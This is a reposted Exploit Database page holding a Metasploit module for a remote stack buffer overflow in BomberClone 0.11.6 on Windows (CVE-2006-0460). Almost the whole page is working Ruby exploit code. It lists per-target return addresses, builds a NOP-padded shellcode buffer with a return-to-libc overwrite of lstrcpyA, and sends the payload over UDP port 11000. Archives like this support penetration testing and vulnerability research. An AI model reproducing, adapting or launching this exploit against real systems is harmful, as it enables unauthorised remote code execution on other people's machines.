BomberClone 0.11.6 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16433/

• ##
  # $Id: bomberclone_overflow.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Bomberclone 0.11.6 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
  				The return address is overwritten with lstrcpyA memory address,
  				the second and third value are the destination buffer,
  				the fourth value is the source address of our buffer in the stack.
  				This exploit is like a return in libc.
  
  				ATTENTION
  				The shellcode is exec ONLY when someone try to close bomberclone.
  			},
  			'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					['CVE', '2006-0460'],
  					['OSVDB', '23263'],
  					['BID', '16697'],
  					['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ],
  				],
  			'Payload'=>
  				{
  					'Space'=> 344,
  					'BadChars' => "\x00"
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows XP SP2 Italian', { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA
  					['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA
  					['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 16 2006'
  			))
  
  		register_options([ Opt::RPORT(11000) ], self.class)
  	end
  
  	def exploit
  		connect_udp
  
  		pattern= make_nops(421)
  		pattern << payload.encoded
  		pattern << [ target.ret ].pack('V')
  		pattern << "\x04\xec\xfd\x7f" * 2
  		pattern << "\xa4\xfa\x22\x00"
  
  		request= "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"
  
  		print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")
  
  		udp_sock.put(request)
  		udp_sock.get
  
  		handler(udp_sock)
  		disconnect_udp
  	end
  
  end